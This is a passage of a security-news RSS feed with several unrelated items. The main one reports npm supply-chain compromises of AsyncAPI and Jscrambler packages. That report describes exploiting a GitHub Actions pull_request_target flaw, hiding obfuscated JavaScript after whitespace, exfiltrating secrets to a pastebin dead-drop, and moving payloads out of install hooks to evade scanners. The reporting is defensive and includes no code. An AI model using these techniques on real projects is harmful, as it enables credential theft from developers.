<p class="wp-block-paragraph">Wer News analysieren muss, hat es angesichts des Überangebots mitunter schwer. Dagegen hilft die API von Newscatcher: Ein Enterprise-Tool, um News-Daten anzuzapfen und analysieren. Dazu sammelt die API Nachrichten von weltweit mehr als 120.000 Quellen im Web, reichert sie mit Hilfe von NLP mit Metadaten an und stellt diese in organisierter Form bereit.</p>



<h2 class="wp-block-heading">KI-APIs</h2>



<p class="wp-block-paragraph"><strong>Multimedia</strong></p>



<p class="wp-block-paragraph">Auch diverse Tech-Größen hosten APIs, die Sie bei Tasks im Zusammenhang mit Bildern, Audioaufnahmen und generell Multimedia-Inhalten unterstützen können. Dazu gehören etwa:  </p>



<ul class="wp-block-list">
<li><a href="https://aws.amazon.com/de/rekognition/" target="_blank" rel="noreferrer noopener">Amazon Rekognition</a>,</li>



<li><a href="https://mediacenter.ibm.com/media/IBM+Watson+Visual+Recognition/0_jbsmp6lq" target="_blank" rel="noreferrer noopener">IBM Watson Visual Recognition</a>,</li>



<li><a href="https://cloud.google.com/vision?hl=de" target="_blank" rel="noreferrer noopener">Google Cloud Vision API</a>, und</li>



<li><a href="https://azure.microsoft.com/de-de/products/ai-services/ai-vision" target="_blank" rel="noreferrer noopener">Microsoft Azure AI Vision</a></li>
</ul>



<p class="wp-block-paragraph">Aber auch kleinere Anbieter haben interessante Nischen-API-Angebote in petto. Diese beiden Anbieter verfügen über kostenlos nutzbare Angebote:</p>



<ul class="wp-block-list">
<li><a href="https://www.clarifai.com/" target="_blank" rel="noreferrer noopener">Clarifai</a> ist eine API, um beispielsweise Logos, Kleidung, Personen, Fahrzeuge, Waffen oder Uniformen in Bildern und Videos zu identifizieren.</li>



<li><a href="https://roboflow.com/" target="_blank" rel="noreferrer noopener">Roboflow</a> bietet spezielle Funktionen, um die Sicherheit und Genauigkeit von Fabrikprozessen zu optimieren.</li>
</ul>



<p class="wp-block-paragraph"><strong>KI-gestützte Suchen</strong></p>



<p class="wp-block-paragraph">KI-APIs können zudem die Möglichkeiten von Suchmaschinen erweitern, um auch Antworten zu finden, die nicht von bestimmten Keywords abhängig sind.</p>



<ul class="wp-block-list">
<li><a href="https://www.recombee.com/" target="_blank" rel="noreferrer noopener">Recombee</a> hat beispielsweise eine API entwickelt, die als “Personalisierungs-Engine” bezeichnet wird. Sie kann die Suchfunktionen einer Website erweitern.</li>



<li><a href="https://www.algolia.com/products/ai-recommendations" target="_blank" rel="noreferrer noopener">Algolia</a> bietet eine “Recommendation Engine” an, die auf E-Commerce spezialisiert ist.</li>



<li><a href="https://www.shaped.ai/" target="_blank" rel="noreferrer noopener">Shaped</a> verspricht eine Personalisierung im “TikTok-Stil”, die sich tief in diverse Bereiche Ihrer Website einbetten lässt.</li>
</ul>



<p class="wp-block-paragraph">Weitere APIs, die speziell mit Blick auf KI-Integrationen und Workflow-Automatisierung interessant sind, <a href="https://www.computerwoche.de/article/4004872/die-besten-apis-um-ki-zu-integrieren.html" target="_blank">finden Sie hier</a>. (fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Artikel ist <a href="https://www.infoworld.com/article/2256990/13-clever-apis-for-capturing-every-kind-of-data.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Infoworld.com erschienen. </strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[NPM ecosystem hit with two new supply chain compromises]]></title>
<description><![CDATA[Attacks targeting developer ecosystems are increasing in frequency and sophistication, with Node.js developers firmly in this week’s crosshairs, as multiple npm packages belonging to the open-source AsyncAPI and Jscrambler Code Integrity were poisoned with malware following compromised developmen...]]></description>
<link>https://tsecurity.de/de/3671823/it-security-nachrichten/npm-ecosystem-hit-with-two-new-supply-chain-compromises/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671823/it-security-nachrichten/npm-ecosystem-hit-with-two-new-supply-chain-compromises/</guid>
<pubDate>Wed, 15 Jul 2026 22:38:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Attacks targeting developer ecosystems are increasing in frequency and sophistication, with Node.js developers firmly in this week’s crosshairs, as multiple npm packages belonging to the open-source AsyncAPI and Jscrambler Code Integrity were poisoned with malware following compromised development credentials.</p>



<p class="wp-block-paragraph">The incidents highlight the cascading effect of software supply chain attacks in which stolen credentials are then used to perpetrate additional compromises. Security researchers advise organizations to completely rebuild from clean images any developer machines that have installed a poisoned package — and to rotate all npm tokens, source control access, cloud credentials, CI/CD secrets, SSH keys, signing keys, and browser sessions.</p>



<p class="wp-block-paragraph">Affected packages include: <a href="mailto:jscrambler@8.14.0">jscrambler@8.14.0</a>, <a href="mailto:jscrambler@8.16.0">jscrambler@8.16.0</a>, <a href="mailto:jscrambler@8.17.0">jscrambler@8.17.0</a>, <a href="mailto:jscrambler@8.18.0">jscrambler@8.18.0</a>, <a href="mailto:jscrambler@8.20.0">jscrambler@8.20.0</a>, @asyncapi/generator-helpers@1.1.1, @asyncapi/generator-components@0.7.1, @asyncapi/generator@3.3.1, @asyncapi/specs@6.11.2 and @asyncapi/specs@6.11.2-alpha.1.</p>



<p class="wp-block-paragraph">However, packages that list any of the above poisoned packages as dependencies may also be impacted, including those from the same projects, such as jscrambler-webpack-plugin 8.6.2, gulp-jscrambler 8.6.2, grunt-jscrambler 8.5.2, and jscrambler-metro-plugin 9.0.2.</p>



<h2 class="wp-block-heading">Vulnerable GitHub Actions workflow used as entry point</h2>



<p class="wp-block-paragraph">The attack against AsyncAPI, an open-source reference specification and toolset for implementing event-driven architectures and asynchronous APIs, occurred on Tuesday and was independently detected by multiple security companies monitoring the npm registry, including Upwind, Socket.dev, Wiz, StepSecurity, and Aikido Security.</p>



<p class="wp-block-paragraph">According to the researchers’ analysis, attackers took advantage of a <a href="https://www.csoonline.com/article/4008621/github-actions-attack-renders-even-security-aware-orgs-vulnerable.html">known configuration vulnerability in a GitHub Actions CI/CD workflow</a> that had been reported in April. The flaw involves the <code>pull_request_target</code> event, which executes whenever a new pull request is made. When triggered, the workflow automatically checks out and executes the developer’s submitted pull request code in the Actions container, but this is done in the context of the base repository with full access to secrets.</p>



<p class="wp-block-paragraph">The AsyncAPI project had <a href="https://github.com/asyncapi/generator/pull/2092">a proposed fix</a> since May 17, but the fix had not yet gone through the full review and was not merged into the main branch.</p>



<p class="wp-block-paragraph">“At 05:08 UTC, the attacker opened PR #2155 containing a markdown file with obfuscated JavaScript hidden after approximately 1,000 bytes of whitespace,” researchers from Wiz explained <a href="https://www.wiz.io/blog/m-red-team-asyncapi-supply-chain-compromise-via-github-actions">in their report</a>. “The payload was designed to scan the GitHub Actions runner’s environment for secrets and exfiltrate them to a dead-drop URL on the rentry.co pastebin.”</p>



<p class="wp-block-paragraph">When a GitHub Actions workflow is triggered and is executed in an environment, a temporary <code>GITHUB_TOKEN</code> is generated to allow for authenticated git commands against the repository. Other tokens might also be included.</p>



<p class="wp-block-paragraph">In this case, the attackers managed to obtain a token associated with asyncapi-bot, a service account that had access across the entire AsyncAPI organization on GitHub. This allowed them to perform malicious code commits in two separate repositories. Those commits then triggered automated build workflows that generated and published the npm packages.</p>



<p class="wp-block-paragraph">The payload bundled in the packages shares some similarities with a malware framework called Miasma that was used in previous supply chain compromises. However, the malware code appears to be significantly different from previously documented variants.</p>



<p class="wp-block-paragraph">The first-stage code downloads a secondary trojan payload that has variants for Linux, Windows, and macOS. This is a modular malware framework with credential theft capabilities that targets passwords and cookies saved inside browsers, SSH keys, npm and GitHub tokens, AWS credentials, macOS Keychain, and cryptocurrency wallets.</p>



<p class="wp-block-paragraph">The trojan communicated with a command-and-control server and can accept remote commands to perform file operations, list directories, and exfiltrate data.</p>



<h2 class="wp-block-heading">Jscrambler compromised via leaked npm credential</h2>



<p class="wp-block-paragraph">The Jscrambler attack happened over the weekend on July 11 with attackers publishing multiple trojanized versions in two waves. Jscrambler Code Integrity is a client-side security library designed to protect JavaScript-based web and mobile applications against tampering and reverse engineering.</p>



<p class="wp-block-paragraph">Jscrambler published <a href="https://jscrambler.com/blog/security-advisory-malicious-npm-package">an advisory</a> in response to the incident in which it clarified that the attackers published malicious versions of the package using a npm publishing credential. However, unlike the AsyncAPI case, how that credential was leaked in the first place is not clear.</p>



<p class="wp-block-paragraph">Initially the attackers released new package versions with two malicious scripts that get executed at install time using a preinstall hook in the configuration script. The scripts also execute platform-specific binaries for Linux, macOS, and Windows embedded in an obfuscated container.</p>



<p class="wp-block-paragraph">Because <code>preinstall</code> or <code>postinstall</code> hooks are common ways to deliver malware in npm packages, they are automatically checked by security tools. To avoid detection, the attackers pivoted to a method that involved injecting the malicious code directly in the <code>dist/index.js</code> and <code>dist/bin/jscrambler.js</code> files. This changed the malware execution from package installation time to when the package gets imported into other projects or the Jscrambler CLI is invoked.</p>



<p class="wp-block-paragraph">The embedded malware executables for different platforms are written in Rust and, according to <a href="https://socket.dev/blog/jscrambler-supply-chain-attack">Socket.dev’s analysis</a>, were “a broad, developer-focused credential and secret harvester” that targeted browser-extension crypto wallets, API keys from AI coding assistants and MCP servers, cloud credentials for AWS, Azure and GCP, authentication tokens for messaging applications (such as Discord, Slack, and Telegram), password stores from browsers, Steam, and KDE.<br><br><br></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft Juli-Patch-Day: Update behebt 622 Sicherheitslücken - PCMasters.de]]></title>
<description><![CDATA[Weitere Updates verteilten sich auf Microsoft Edge (46), Entwicklertools (27), SharePoint Server (17) und Azure (11). Die Gesamtzahl der behobenen ...]]></description>
<link>https://tsecurity.de/de/3671243/windows-server/microsoft-juli-patch-day-update-behebt-622-sicherheitsluecken-pcmastersde/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671243/windows-server/microsoft-juli-patch-day-update-behebt-622-sicherheitsluecken-pcmastersde/</guid>
<pubDate>Wed, 15 Jul 2026 18:02:02 +0200</pubDate>
<category>🪟 Windows Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Weitere Updates verteilten sich auf Microsoft Edge (46), Entwicklertools (27), SharePoint <b>Server</b> (17) und Azure (11). Die Gesamtzahl der behobenen ...]]></content:encoded>
</item>
<item>
<title><![CDATA[A cloud deal too good to be true]]></title>
<description><![CDATA[The model of the forward deployed engineer is sweeping through enterprise IT like a gold rush, and I’m concerned that many companies don’t understand what they’re signing up for.



Let’s start with the headline numbers. AWS announced a $1 billion investment in a new Forward Deployed Engineering ...]]></description>
<link>https://tsecurity.de/de/3671160/ai-nachrichten/a-cloud-deal-too-good-to-be-true/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671160/ai-nachrichten/a-cloud-deal-too-good-to-be-true/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:33 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The model of the forward deployed engineer is sweeping through enterprise IT like a gold rush, and I’m concerned that many companies don’t understand what they’re signing up for.</p>



<p class="wp-block-paragraph">Let’s start with the headline numbers. <a href="https://www.aboutamazon.com/news/aws/aws-1-billion-forward-deployed-ai-engineers">AWS announced a $1 billion investment</a> in a new Forward Deployed Engineering organization. Google Cloud committed $750 million to expand similar programs. <a href="https://newsroom.accenture.com/news/2026/accenture-launches-microsoft-forward-deployed-engineering-practice-to-help-organizations-scale-ai-across-the-enterprise">Microsoft has been running Azure-focused embedded engineering teams for years</a>, including partnerships with Accenture to scale forward deployed engineering practices. All three are pitching the same story: We’ll send engineers to work directly with your teams, help you deploy AI, and accelerate your <a href="https://www.cio.com/article/230425/what-is-digital-transformation-a-necessary-disruption.html">digital transformation</a>. You get top-tier technical talent for free, and we get to partner with you on your journey.</p>



<p class="wp-block-paragraph">It sounds reasonable on the surface. It sounds collaborative, even generous. But I’ve been in this industry long enough to know that when a multi-billion-dollar company offers you something for free, they’re sure to get much more than they give.</p>



<h2 class="wp-block-heading">What you actually get</h2>



<p class="wp-block-paragraph">The forward deployed engineer model isn’t new. The consulting industry has been doing some version of it for decades. What makes this different is the scale and the direct financial incentive behind it. </p>



<p class="wp-block-paragraph">These engineers work for the cloud provider. They’re not your employees. They’re not independent consultants. They’re technically excellent professionals who are being paid to solve your immediate problems while simultaneously building relationships and architectures that favor their employer’s ecosystem. Think about it from their perspective. Those forward engineers are evaluated on whether customers succeed with their employer’s platform. They’re rewarded when enterprises adopt more services from that platform. Their career advancement depends on making AWS, Google Cloud, or Microsoft Azure the obvious choice for all of your technical decisions.</p>



<p class="wp-block-paragraph">This isn’t a criticism of the individual engineers. Many of them are genuinely talented and genuinely want to help. But they’re operating within a system that rewards specific outcomes, and those outcomes align with the vendor’s financial interests, not necessarily yours.</p>



<h2 class="wp-block-heading">The problem no one talks about</h2>



<p class="wp-block-paragraph">Here’s what I see happening at enterprises right now. A company decides they need help deploying AI. A cloud provider offers to embed engineers at no additional cost. Those engineers work alongside internal teams, make architectural recommendations, and help build out systems. Six months later, the company has a production AI system running on a single cloud platform, built by people with deep expertise in that specific platform.</p>



<p class="wp-block-paragraph">The problem? Nobody evaluated whether that platform was actually the best choice for the business. Nobody looked at alternatives. Nobody asked whether a <a href="https://www.infoworld.com/article/3584433/are-you-ready-for-multicloud-a-checklist.html">multicloud </a>architecture or best-of-breed approach might deliver better results at lower cost.</p>



<p class="wp-block-paragraph">The engineers embedded in these programs are not going to recommend that you split your workloads across providers. They’re not going to suggest you use <a href="https://www.infoworld.com/article/2262355/what-is-open-source-software-open-source-and-foss-explained.html">open source</a> tools where they make sense. They’re not going to point you toward a competitor when their employer’s solution will work well enough. That’s not how these programs are designed to function. What you’re getting is optimized architecture for a single cloud brand, not optimized architecture for your business.</p>



<h2 class="wp-block-heading">The financial reality will hit</h2>



<p class="wp-block-paragraph">The bills are going to come due, and they’re going to be painful. I’ve watched this pattern play out before. When enterprises lock into a single cloud provider through these embedded engineering programs, they often discover two or three years later that they’re paying premiums that their more independent-thinking competitors avoided.</p>



<p class="wp-block-paragraph">The reasons are straightforward. When you’re architecting systems around a single platform, you naturally fall into usage patterns that favor that platform’s pricing structures. You use their managed databases instead of portable alternatives. You adopt their AI services instead of evaluating third-party options. You build workflows that only work within their ecosystem. And when it comes time to renegotiate or benchmark against alternatives, you find that migrating would cost more than accepting whatever pricing they offer.</p>



<p class="wp-block-paragraph">I’ve spent the past decade helping companies untangle from these situations. I’ve seen organizations with cloud bills 15 to 20 times higher than they should be, unable to migrate because their entire AI infrastructure is built on proprietary services that only work on one platform. The forward deployed engineer programs are accelerating this problem. They’re making it easier to get into these situations and harder to get out.</p>



<h2 class="wp-block-heading">Think before you commit</h2>



<p class="wp-block-paragraph">Before you accept one of these programs, consider these three recommendations.</p>



<p class="wp-block-paragraph"><strong>First, require independent architecture oversight</strong> from day one. Hire or engage architects who work for your company, not for your cloud provider. They should evaluate every recommendation made by embedded engineers against business requirements and compare options across providers. This isn’t about being suspicious of the engineers. It’s about ensuring that decisions are made with your interests in mind.</p>



<p class="wp-block-paragraph"><strong>Second, demand a clear exit strategy</strong> before you begin. Ask the cloud provider to document which proprietary services you’re using, what migration paths exist, and what the cost would be to move to an alternative platform. If they can’t provide that information, or if the migration costs seem impossibly high, that’s a sign that you’re building technical debt that will be very expensive to service later.</p>



<p class="wp-block-paragraph"><strong>Third, benchmark your costs</strong> continuously. Set up internal processes to compare your cloud spending against industry benchmarks and against what your competitors might be paying for similar workloads. Don’t wait until your contract renewal to discover that you’re paying premium prices. Monitor expenses from the beginning, and be willing to challenge your cloud provider if you’re not getting value that justifies the cost.</p>



<h2 class="wp-block-heading">The bottom line</h2>



<p class="wp-block-paragraph">The forward deployed engineers are solving real problems. Enterprises genuinely struggle with AI deployment, and having experienced engineers available to help is valuable. I’m not suggesting these programs are fundamentally bad. However, they’re being marketed as neutral partnerships when they’re actually strategic sales programs designed to lock enterprises into specific platforms. The helpful engineers showing up at your office are building dependencies that will be very difficult to break. The “free” technical assistance is being funded by margins on services you’ll be buying for years.</p>



<p class="wp-block-paragraph">Go in with your eyes open. Use these programs but add your own independent oversight. Build architectures that you could leave if you needed to. And don’t let the immediate satisfaction of having problems solved today blind you to the financial consequences that will arrive tomorrow.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Ted Lasso Season 4 Release Date, Cast and Story: Everything Confirmed So Far]]></title>
<description><![CDATA[Ted Lasso Season 4 officially arrives on Apple TV on August 5, 2026. Jason Sudeikis returns as Ted, who faces a completely new challenge after leaving AFC Richmond and returning home at the end of Season 3.




Release date: August 5, 2026



Streaming platform: Apple TV



Genre: Sports comedy-d...]]></description>
<link>https://tsecurity.de/de/3670810/ios-mac-os/ted-lasso-season-4-release-date-cast-and-story-everything-confirmed-so-far/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670810/ios-mac-os/ted-lasso-season-4-release-date-cast-and-story-everything-confirmed-so-far/</guid>
<pubDate>Wed, 15 Jul 2026 15:24:38 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ted Lasso Season 4 officially arrives on Apple TV on August 5, 2026. Jason Sudeikis returns as Ted, who faces a completely new challenge after leaving AFC Richmond and returning home at the end of Season 3.




Release date: August 5, 2026



Streaming platform: Apple TV



Genre: Sports comedy-drama



Number of episodes: 10



Release schedule: One new episode every Wednesday



Season finale date: October 7, 2026



Lead cast: Jason Sudeikis, Hannah Waddingham, Juno Temple, Brett Goldstein, Brendan Hunt and Jeremy Swift



New cast: Tanya Reynolds, Jude Mack, Faye Marsay, Rex Hayes, Aisling Sharkey, Abbie Hern and Grant Feely




The first episode will premiere on August 5, followed by weekly episodes through October 7. This means viewers will once again follow the season over several weeks instead of receiving all 10 episodes at once.




https://www.youtube.com/watch?v=PxZg4SfIURg




What is the story of Ted Lasso Season 4?



Possible spoilers for the first three seasons follow.



Season 4 brings Ted back to Richmond, where he begins coaching a second-division women’s football team. The new position becomes one of the biggest challenges of his career, as Ted must build another team while adjusting to a different side of professional football.



The storyline follows the idea introduced near the end of Season 3, when Keeley presented Rebecca with plans to create an AFC Richmond women’s team. That proposal now appears to form the main foundation of the new season.



Ted’s return also raises several personal questions. Season 3 ended with him leaving England to spend more time with his son, Henry. Season 4 will need to explain why he returns to Richmond, how his family situation has changed, and whether Henry becomes part of his life in England.



The official description says Ted and the new team will learn to take chances before knowing how everything will work out. That theme fits the show’s focus on personal growth, teamwork, and people finding confidence during uncertain moments.



Which cast members are returning?



Jason Sudeikis returns as Ted Lasso and continues to serve as an executive producer. Hannah Waddingham is back as AFC Richmond owner Rebecca Welton, while Juno Temple returns as Keeley Jones.



Brett Goldstein will also appear again as Roy Kent. Brendan Hunt returns as Coach Beard, and Jeremy Swift reprises his role as Leslie Higgins. Their confirmed involvement suggests AFC Richmond’s familiar leadership group will remain closely connected to Ted’s new team.



The season also introduces Tanya Reynolds, Jude Mack, Faye Marsay, Rex Hayes, Aisling Sharkey, Abbie Hern and Grant Feely. Details about most of their characters remain limited, although several of them are expected to be connected to the new women’s football storyline.



Will the original AFC Richmond players return?



Apple has not confirmed every member of the original men’s team for Season 4. The announced returning cast currently includes Ted, Rebecca, Keeley, Roy, Coach Beard, and Higgins.



Characters such as Jamie Tartt, Sam Obisanya, Dani Rojas and Isaac McAdoo could still appear, especially because the story remains centred around Richmond. However, their involvement should remain unconfirmed until further announcements or episodes reveal more.



Ted Lasso Season 4 begins streaming on Apple TV on August 5, 2026. What do you plan to watch when Ted returns to Richmond? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Ted Lasso Season 4 Release Date, Cast and Story: Everything Confirmed So Far]]></title>
<description><![CDATA[Ted Lasso Season 4 officially arrives on Apple TV on August 5, 2026. Jason Sudeikis returns as Ted, who faces a completely new challenge after leaving AFC Richmond and returning home at the end of Season 3.




Release date: August 5, 2026



Streaming platform: Apple TV



Genre: Sports comedy-d...]]></description>
<link>https://tsecurity.de/de/3670539/ios-mac-os/ted-lasso-season-4-release-date-cast-and-story-everything-confirmed-so-far/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670539/ios-mac-os/ted-lasso-season-4-release-date-cast-and-story-everything-confirmed-so-far/</guid>
<pubDate>Wed, 15 Jul 2026 13:55:32 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ted Lasso Season 4 officially arrives on Apple TV on August 5, 2026. Jason Sudeikis returns as Ted, who faces a completely new challenge after leaving AFC Richmond and returning home at the end of Season 3.




Release date: August 5, 2026



Streaming platform: Apple TV



Genre: Sports comedy-drama



Number of episodes: 10



Release schedule: One new episode every Wednesday



Season finale date: October 7, 2026



Lead cast: Jason Sudeikis, Hannah Waddingham, Juno Temple, Brett Goldstein, Brendan Hunt and Jeremy Swift



New cast: Tanya Reynolds, Jude Mack, Faye Marsay, Rex Hayes, Aisling Sharkey, Abbie Hern and Grant Feely




The first episode will premiere on August 5, followed by weekly episodes through October 7. This means viewers will once again follow the season over several weeks instead of receiving all 10 episodes at once.




https://www.youtube.com/watch?v=PxZg4SfIURg




What is the story of Ted Lasso Season 4?



Possible spoilers for the first three seasons follow.



Season 4 brings Ted back to Richmond, where he begins coaching a second-division women’s football team. The new position becomes one of the biggest challenges of his career, as Ted must build another team while adjusting to a different side of professional football.



The storyline follows the idea introduced near the end of Season 3, when Keeley presented Rebecca with plans to create an AFC Richmond women’s team. That proposal now appears to form the main foundation of the new season.



Ted’s return also raises several personal questions. Season 3 ended with him leaving England to spend more time with his son, Henry. Season 4 will need to explain why he returns to Richmond, how his family situation has changed, and whether Henry becomes part of his life in England.



The official description says Ted and the new team will learn to take chances before knowing how everything will work out. That theme fits the show’s focus on personal growth, teamwork, and people finding confidence during uncertain moments.



Which cast members are returning?



Jason Sudeikis returns as Ted Lasso and continues to serve as an executive producer. Hannah Waddingham is back as AFC Richmond owner Rebecca Welton, while Juno Temple returns as Keeley Jones.



Brett Goldstein will also appear again as Roy Kent. Brendan Hunt returns as Coach Beard, and Jeremy Swift reprises his role as Leslie Higgins. Their confirmed involvement suggests AFC Richmond’s familiar leadership group will remain closely connected to Ted’s new team.



The season also introduces Tanya Reynolds, Jude Mack, Faye Marsay, Rex Hayes, Aisling Sharkey, Abbie Hern and Grant Feely. Details about most of their characters remain limited, although several of them are expected to be connected to the new women’s football storyline.



Will the original AFC Richmond players return?



Apple has not confirmed every member of the original men’s team for Season 4. The announced returning cast currently includes Ted, Rebecca, Keeley, Roy, Coach Beard, and Higgins.



Characters such as Jamie Tartt, Sam Obisanya, Dani Rojas and Isaac McAdoo could still appear, especially because the story remains centred around Richmond. However, their involvement should remain unconfirmed until further announcements or episodes reveal more.



Ted Lasso Season 4 begins streaming on Apple TV on August 5, 2026. What do you plan to watch when Ted returns to Richmond? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[A Video Screen That Is Also a Camera]]></title>
<description><![CDATA[Amazing:
Researchers from ETH Zurich in Switzerland, however, managed to create a new type of pixel that can simultaneously do both. This hypercharged pixel, called a Fourier pixel, can generate and sense arbitrary light fields and tap into a pixel’s full potential for carrying information by man...]]></description>
<link>https://tsecurity.de/de/3670412/it-security-nachrichten/a-video-screen-that-is-also-a-camera/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670412/it-security-nachrichten/a-video-screen-that-is-also-a-camera/</guid>
<pubDate>Wed, 15 Jul 2026 13:09:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://gizmodo.com/newly-invented-pixel-could-turn-screens-into-cameras-2000777917">Amazing</a>:</p>
<blockquote><p>Researchers from ETH Zurich in Switzerland, however, managed to create a new type of pixel that can simultaneously do both. This hypercharged pixel, called a Fourier pixel, can generate and sense arbitrary light fields and tap into a pixel’s full potential for carrying information by manipulating light’s intensity, oscillation phases, and polarization. The team reported its findings in a paper published yesterday in Nature.</p></blockquote>
<p>We are one step closer to <i>1984</i> technology:</p>
<blockquote><p>The telescreen received and transmitted simultaneously. Any sound that Winston made, above the level of a very low whisper, would be picked up by it; moreover, so long as he remained within the field of vision which the metal plaque commanded, he could be seen as well as heard. There was of course no way of knowing whether you were being watched at any given moment...</p></blockquote>]]></content:encoded>
</item>
<item>
<title><![CDATA[622 Lücken auf einen Schlag: Rekord-Patchday bei Microsoft - IT-Administrator.de]]></title>
<description><![CDATA[Betroffen sind unter anderem Windows und Windows-Komponenten, Office, Azure, Exchange Server, .NET, GitHub Copilot, Hyper-V und Microsoft Edge.]]></description>
<link>https://tsecurity.de/de/3670189/windows-server/622-luecken-auf-einen-schlag-rekord-patchday-bei-microsoft-it-administratorde/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670189/windows-server/622-luecken-auf-einen-schlag-rekord-patchday-bei-microsoft-it-administratorde/</guid>
<pubDate>Wed, 15 Jul 2026 11:46:45 +0200</pubDate>
<category>🪟 Windows Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Betroffen sind unter anderem <b>Windows</b> und <b>Windows</b>-Komponenten, Office, Azure, Exchange <b>Server</b>, .NET, GitHub Copilot, Hyper-V und Microsoft Edge.]]></content:encoded>
</item>
<item>
<title><![CDATA[AWS retools Security Hub for AI and multicloud threats]]></title>
<description><![CDATA[AWS added AI workload protection and Microsoft Azure security monitoring to Security Hub, its centralized security platform for collecting and prioritizing security findings across cloud environments. Support for additional cloud platforms will follow. “Collecting findings was never the hard part...]]></description>
<link>https://tsecurity.de/de/3670115/it-security-nachrichten/aws-retools-security-hub-for-ai-and-multicloud-threats/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670115/it-security-nachrichten/aws-retools-security-hub-for-ai-and-multicloud-threats/</guid>
<pubDate>Wed, 15 Jul 2026 11:08:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>AWS added AI workload protection and Microsoft Azure security monitoring to Security Hub, its centralized security platform for collecting and prioritizing security findings across cloud environments. Support for additional cloud platforms will follow. “Collecting findings was never the hard part. The hard part is understanding them, connecting them, and acting before an attacker does, and doing it at the speed attacks now move. The programs that win from here will be the ones that see … <a href="https://www.helpnetsecurity.com/2026/07/15/aws-security-hub-ai-workload-protection/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/15/aws-security-hub-ai-workload-protection/">AWS retools Security Hub for AI and multicloud threats</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft’s Largest Patch Tuesday Fixes 622 Vulnerabilities, Two Under Active Attack]]></title>
<description><![CDATA[Microsoft Patch Tuesday July 2026 delivered the company's largest security update to date, addressing 622 Microsoft CVEs, more than tripling the roughly 200 vulnerabilities patched in June. Among the fixes are two zero-day vulnerabilities—CVE-2026-56164 and CVE-2026-56155—that Microsoft confirmed...]]></description>
<link>https://tsecurity.de/de/3670113/it-security-nachrichten/microsofts-largest-patch-tuesday-fixes-622-vulnerabilities-two-under-active-attack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670113/it-security-nachrichten/microsofts-largest-patch-tuesday-fixes-622-vulnerabilities-two-under-active-attack/</guid>
<pubDate>Wed, 15 Jul 2026 11:08:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1094" height="696" src="https://thecyberexpress.com/wp-content/uploads/Microsoft-Patch-Tuesday-1.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Microsoft Patch Tuesday" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Microsoft-Patch-Tuesday-1.webp 1094w, https://thecyberexpress.com/wp-content/uploads/Microsoft-Patch-Tuesday-1-300x191.webp 300w, https://thecyberexpress.com/wp-content/uploads/Microsoft-Patch-Tuesday-1-1024x651.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Microsoft-Patch-Tuesday-1-768x489.webp 768w, https://thecyberexpress.com/wp-content/uploads/Microsoft-Patch-Tuesday-1-600x382.webp 600w, https://thecyberexpress.com/wp-content/uploads/Microsoft-Patch-Tuesday-1-150x95.webp 150w, https://thecyberexpress.com/wp-content/uploads/Microsoft-Patch-Tuesday-1-750x477.webp 750w, https://thecyberexpress.com/wp-content/uploads/Microsoft-Patch-Tuesday-1.webp 1094w, https://thecyberexpress.com/wp-content/uploads/Microsoft-Patch-Tuesday-1-300x191.webp 300w, https://thecyberexpress.com/wp-content/uploads/Microsoft-Patch-Tuesday-1-1024x651.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Microsoft-Patch-Tuesday-1-768x489.webp 768w, https://thecyberexpress.com/wp-content/uploads/Microsoft-Patch-Tuesday-1-600x382.webp 600w, https://thecyberexpress.com/wp-content/uploads/Microsoft-Patch-Tuesday-1-150x95.webp 150w, https://thecyberexpress.com/wp-content/uploads/Microsoft-Patch-Tuesday-1-750x477.webp 750w" sizes="(max-width: 1094px) 100vw, 1094px" title="Microsoft's Largest Patch 